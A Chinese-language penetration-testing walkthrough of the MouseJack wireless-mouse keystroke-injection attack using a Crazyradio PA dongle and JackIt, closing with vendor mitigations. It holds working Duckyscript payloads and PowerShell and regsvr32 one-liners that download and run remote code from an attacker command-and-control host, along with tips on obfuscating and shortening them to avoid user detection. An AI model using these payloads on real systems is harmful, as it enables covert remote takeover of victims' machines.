导语:Mousejack是专门针对无线键鼠的劫持攻击,2016年一家美国物联网安全创业公司Bastille发布了一个关于无线鼠标的漏洞披露报告,称多产商生产的无线鼠标和无线键盘存在安全漏洞。
前言
在内部交互行为中,对本地网络上的名称解析请求进行病毒感染,是获得一组初始域名凭据的有效方法之一。虽然这种方法对许多客户端有用,但是如果链路本地组播名称解析(LLMNR)和NETBIOS协议名称服务(NTB-NS)被安全地配置或者禁用?那该怎么办?
PROTIP: Always prove multiple means of access whenever possible during engagements!
渗透测试员在进行测试时会利用大量攻击,其中许多地方都是要用到无线外设,其中被称为“mouseJack攻击”的技术在2016年初被人们所熟知。
Mousejack攻击
Mousejack是专门针对无线键鼠的劫持攻击,2016年一家美国物联网安全创业公司Bastille发布了一个关于无线鼠标的漏洞披露报告,称多厂商生产的无线鼠标和无线键盘存在安全漏洞,恶意攻击者可以通过低成本的无线攻击设备在远达100米的范围内远程控制受害者的无线鼠标并进行一些恶意操作,这就是Mousejack攻击。
无线鼠标一般由两部分组成,鼠标和鼠标接收器,鼠标端通过采集鼠标的操作状态,比如采集鼠标各个按键的按下的状态,鼠标移动的轨迹等数据,然后把这些数据调制成模拟信号通过特定的无线频率(例如24Mhz,27Mhz,2.4Ghz,或者蓝牙)发射出去,鼠标接收器接受到无线信号后,解调成数据,解析里面的数据后做出相应的动作,比如按键和移动等操作,大多情况下无线鼠标通过2.4Ghz的无线频率和PC端进行通信。
本文将涉及以下面三个易受攻击的微软鼠标:
1.微软Sculpt Ergonomic Mouse 2.微软Wireless Mobile Mouse 4000 3.微软Wireless Mouse 5000
以及罗技鼠标,受影响都是利用优联(Logitech Unifying)接收器软件的设备。
外设调制
为了帮助我进行Mousejack劫持渗透攻击,我需要先获得SeeedStudio的Crazyradio PA USB的加密狗和天线。这是一个约30美元的2.4 GHz远程无线发射器,将其用于自己的恶意目的。这个新固件将允许加密狗进行恶意运行,添加数据包嗅探和注入功能。一旦获得Crazyradio PA,可以在这里找到使用新固件进行设置的说明。
在我的个人实验室,我正在使用的是罗技的m510无线鼠标和微软的无线移动鼠标4000。
这种情况的首选软件将是JackIt,一个由phiksun(@phikshun)和infamy(@meshmeld)编写的python脚本。该项目在利用Bastille在2016发布的研究工作基础上,简化了设备识别和攻击传播。使用Kali或自定义地传播,继续获取脚本:
$ git clone https://github.com/insecurityofthings/jackit.git /opt/
在README.md文件中放一个gander,并按照说明安装JackIt。不过在安装完成后,请确保在启动工具之前插入Crazyradio PA加密狗。否则会导致JackIt发生错误。现在,我将在没有任何参数的情况下,开始运行JackIt。此时,工具进入侦察模式,无线输入设备的范围如下:
/opt/jackit/$ ./jackit.py
花一些时间来检查JackIt的输出,然后继续:
当发现设备时,会根据初始显示顺序在KEY列中创建一个新的行。定位特定设备时,你需要参考这个号码。 ADDRESS列会显示无线设备的硬件MAC地址,以确定你以前是否看过/定位了某个特定设备(JackIt不会跟踪你以前定位的设备),因此在同时使用多台设备时,你需要自行跟踪它们,这一点很有用。一旦JackIt捕获足够的数据包,TYPE列就会显示该设备的品牌,以便准确识别。请注意,在上图中,第二个设备(KEY 2)还没有被充分地识别。
WARNING: You cannot successfully target a device without the TYPE column populated.
COUNT和SEEN列会在设备和其加密狗之间检测到的无线通信。 COUNT是指Crazyradio PA获取设备和加密狗之间的通信次数。 SEEN会通知我自检测到上一次通信以来已经过了几秒钟。如果在一段时间内未被检测到设备,则分为两种情况,一种是目前没有被使用,另一种是不再在检测范围内。对于第一种情况来说,用户可能并未开始使用设备。无论哪种情况,这些都可能不是理想的目标。
CHANNELS列表会显示无线外设和加密狗正在利用通信的通道。最后,PACKET会显示最后捕获的通信内容。不过,在本文的渗透测试中,我可以忽略这两列。
为了发现实际利用中的设备,JackIt将需要知道发送给受害者的恶意按键操作。该工具采用Ducky Script格式的命令,USB 橡皮鸭使用的语法,由Hak5创建的按键注入USB拇指驱动器。USB 橡皮鸭要求Duckyscript在被用于开发之前进行编码,而JackIt则没有这个要求,只需在文本文件中传递“plaintext”命令即可。如果你不熟悉Duckyscript,请点击这里。
下面,我可以推荐一个Duckscriptmousejack劫持攻击的模板。鉴于用户可能看到正在进行的劫持攻击尝试,所以我会尽可能尝试简化攻击过程,但不会放弃攻击精度。 DELAY时间比传统的USB橡皮鸭脚本短得多,因为没有必要等待驱动程序安装,且不必将USB设备插入受害者的设备。除了保持DELAY值很低之外,还可以尽可能地缩短实际的攻击有效载荷。其中的原因有两方面:其一,较少的按键意味着可以在最短的时间内将字符发送给受害者;其二,可以减少任何数据传输的损失问题(无线攻击可能不稳定,可能丢失或格式错误的字符),我稍后会详细讨论这些问题。
GUI r DELAY 300 STRING ***INSERT MALICIOUS PAYLOAD HERE*** DELAY 300 ENTER ENTER
使用上面的脚本,JackIt将打开Windows“运行”提示,临时暂停,传递我指定的任何恶意有效载荷,临时暂停,然后提交命令。为了让你了解按键注入的速度以及用户对正在运行的劫持攻击的可见性,我对使用上述模板向受害者设备发送的一串字符的进行了如下记录:
正如你所看到的,即使我已经采取措施来加速攻击,还会显示一个活动窗口。
注意:如果注入的按键已经调用了一个有效的程序,例如powershell.exe,那么在执行程序后,该窗口将在注入结束时关闭。在这种情况下,提交的运行提示窗口会弹出,并且在无法正确处理命令时突出显示文本。
劫持无线鼠标进行RAT
在大多数情况下,要实现这步,至少需要两台设备。进行渗透攻击的设备将附带Crazyradio PA加密狗并且JackIt也会运行。该设备的操作者将会接近或绕过目标的物理工作区,以获取正在使用的无线输入设备。本机提交的任何有效载荷都将指示受害者已经接触到正在托管客户端内部网络或云端的命令与控制服务器的第二台设备。
那问题来了,我应该使用什么样的恶意有效载荷?可提供远程托管有效载荷的PowerShell one-liners是一个很好的选择。 Metasploit框架具有为此目的而专门构建的模块(exploit/multi/script/web_delivery)。
来看看Web Delivery模块的选项:
注意,默认的exploit目标值设置为Python。为了利用PowerShell作为传递机制,我将需要运行SET TARGET 2.这将确保我生成的有效载荷使用PowerShell下载渗透测试学习平台pentester的cradle攻击程序。在大多数情况下,我希望将SRVHOST和LHOST都设置为运行Web Delivery模块的设备,这样该模块就会充当命令与控制服务器。 SRVPORT将被设置成用于托管恶意有效载荷的端口,而LPORT将被设置成有效载荷处理程序的端口。通常建议你尽可能使用无状态的有效载荷(无状态的有效载荷),如windows/meterpreter_reverse_https,以增加成功绕过任何可能存在的防病毒解决方案的机会。尝试使用Web Delivery模块将导致错误,这是由于有效载荷超过了Window规定的大约8192个字符的命令行限制,不过Cobalt Strike有效载荷会通过压缩绕过了这种限制。考虑到这个限制,我使用了一个可以分拆的有效载荷:windows/meterpreter/reverse_https。最后,我会将URIPATH设置成一些简短的/a,以避免Metasploit生成一个随机的多字符串。一旦设置完毕,模块的选项应该类似于以下内容:
接着,继续运行模块来生成我的PowerShell功能并启动有效载荷处理程序:
如前所述,这种类型的攻击的优势是尽可能采用比较短的字符串。 Web Delivery模块生成的时间比我喜欢的大多数mousejack攻击尝试都会长一点:
powershell.exe -nop -w hidden -c $v=new-object net.webclient;$v.proxy=[Net.WebRequest]::GetSystemWebProxy();$v.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $v.downloadstring('http://192.168.2.10/a');
这不像是vanilla PowerShell下载的cradle,是吗?该模块会生成一个随机变量(在本示例中为$v),并使用它来模糊cradle攻击程序,以绕过某些防御。此外,借助一些命令,cradle还会通过有效载荷成功相应到Internet(如果你的命令与控制服务器在远端,可能性会更大)。
我可以在正常工作的情况下对这个有效载荷进行精简,但必须综合考虑。如果我的命令与控制服务器位于客户端网络的内部,就可以删除与cradle相关的命令,并且仍然保留一些基本的混淆。或者,如果我正在寻找绝对最短的字符串,我可以删除所有的混淆,并恢复更标准的cradle攻击程序。总之,这一切的目的就是要逃避用户检测,而不是回避基于主机的保护。以下是每个精简情况下的示例:
powershell.exe -nop -w hidden -c $v=new-object net.webclient;IEX $v.downloadstring('http://192.168.2.10/a'); powershell.exe -nop -w hidden -c IEX(new-object net.webclient).downloadstring('http://192.168.2.10/a');
PROTIP: If you’re interested in PowerShell obfuscation techniques, check out the work of @danielhbohannon!
现在我已经设置了命令与控制服务器并且使用了恶意的字符串,我可以提前修改Duckyscript模板,保存在本地:
GUI r DELAY 300 STRING powershell.exe -nop -w hidden -c IEX(new-object net.webclient).downloadstring('http://192.168.2.10/a'); DELAY 300 ENTER ENTER
要使用JackIt进行攻击与监测,只需使用–script标志调用Duckyscript文件:
/opt/jackit/$ ./jackit.py --script ducky-script.txt
在下图中,可以看到我发现了两个由JackIt进行识别的无线外设。只需按CTRL-C,便可启动我的鼠标攻击时:
攻击时,我可以选择一个单独的设备,也可以选择多个设备或简单地利用所有的设备。一旦我按下ENTER键,我指定的攻击将会启动。根据目标设备的品牌差异,攻击可能会延迟10ms左右。当你看到[+] All attacks completed字样时,就标志着JackIt已经完成。
来看看我的Web Delivery模块,看看攻击是否成功:
看起来不是很顺利,虽然我试图对两个目标进行mousejack攻击 ,但是只有一个成功响应。稍后,我会分析导致了mousejack攻击尝试可能失败的原因。
截至目前,我已经成功地将Metasploit的Web Delivery模块与JackIt结合使用,从而攻击无线外设。还有其他可以利用的框架,会提供类似的powershell功能,包括Cobalt Strike和Empire。我来简单谈一谈Cobalt Strike,因为有一个非PowerShell的有效载荷,我喜欢用于劫持。
Cobalt Strike有一个称为Scripted Web Delivery的攻击,类似于Metasploit的Web Delivery,但提供了更多的有效载荷选项。虽然有一个PowerShell选项可用,但我更偏向使用regsvr32有效载荷,因为它的代码很短,但是,由于使用Visual Basic for Applications(VBA)宏和组件对象模型(COM)Scriptlet,所以应该首先需要将Microsoft Office安装在目标系统上:
一旦配置完成,有效载荷看起来如以下内容所示:
regsvr32 /u /n /s /i:http://192.168.2.10:80/a scrobj.dll
至于这个有效载荷如何工作,并不属于本文的讲解范围,但如果你有兴趣了解更多信息,请点击这里。
需要注意的是,在成功的攻击之后,会再次出现JackIt的问题,收到错误消息如下所示:
我已经能够在运行在VMWare的Kali以及独立的Kali框架中重现此错误。如果你在其他类型的Linux上遇到此现象,请告诉我。除了重新启动操作系统之外,解决此错误的唯一方法是取消绑定,然后重新绑定CrazyRadio PA加密狗的USB驱动程序。这可以通过在CrazyRadio PA中拔下并重新插入,或通过控制台发出一些特定的命令来实现。幸运的是,我的同事写了一个Bash脚本,每当出现错误消息时,只要简单地运行以下脚本,就可以重新运行JackIt:
#!/bin/bash #Tool :: USB device reset script developed for use with JackIt & CrazyRadio PA USB Adapter #Author :: Dan Astor (@illegitimateDA) #Usage :: After running an attack with JackIt, run the script to reset the USB adapter. This will fix the USB Core Error Python throws. #Unbind USB devices from the system and rebind them for device in /sys/bus/pci/drivers/uhci_hcd/*:*; do #Unbind the device echo "${device##*/}" > "${device%/*}/unbind" #Bind the device echo "${device##*/}" > "${device%/*}/bind" done
总结
首先,我来讨论一下攻击范围。坦白说,CrazyRadio PA附带的天线不是很完美,尽管在做产品宣传时,加密狗被描述为可以进行远距离地操作。在我进行渗透攻击测试时,却是问题百出。根据我的经验,我相信这些问题可以通过提高信号强度来避免,如使用9dBi Wifi Booster(一个加强版WiFi信号强度显示软件)。
其次,微软的无线设备可能是存在一些影响测试的小漏洞。与罗技外设不同,微软的设备和加密狗之间的每个通信都使用序列号。在JackIt监控序列号的情况下,如果用户在发送攻击之前执行某些操作(按键,移动鼠标等),则序列号将不再对齐,并且我将再次发现缺少或格式错误的字符。虽然有时候有些错误很难消除,但我更愿意使用罗技外设。
最后,我是如何选择构建指向我的有效载荷的URL的?这是个难题,利用Cobalt Strike,我已经托管了一个URL,其URL类似于上文提到的示例(http://ip_address/a)。在对潜在的目标发起攻击后,我发现在命令与控制服务器上没有shell。在检查Cobalt Strike的Web日志时,我看到类似于以下内容的消息:
这是令人困惑的,为什么我的目标企图达成以/A结尾的网址?有没有错误的攻击字符串在我的DuckyScript文件中?经过快速检查,这些猜测都被排除了。后来我发现,用户必须已启用CAPS LOCK!从此,在我的mousejackURL中,使用数字/1就可以防止出现类似的问题。
缓解无线鼠标被劫持的方案
其实最简单的解决方案就是坚持使用有线外设。话虽如此,如果你完全用惯了2.4 GHz的无线鼠标,那只能依靠微软和罗技官方为受影响的产品制定缓解策略了。
微软已于2016年4月发布了一项安全通告,并附有相应的可选更新。该更新尝试在加密狗处添加更强大的过滤,以便检测并正确删除恶意按键。不过经过实践验证后,研究人员发现,即使在补丁升级后,某些设备仍然易受攻击。
而罗技则采取了不同的方法,他们要求用户手动对固件进行更新以彻底解决问题。这是过程比较复杂,只适用于专业技术人员。
鉴于以上的分析,我可以预测,未来对无线鼠标的劫持将会成为一个主流攻击手段。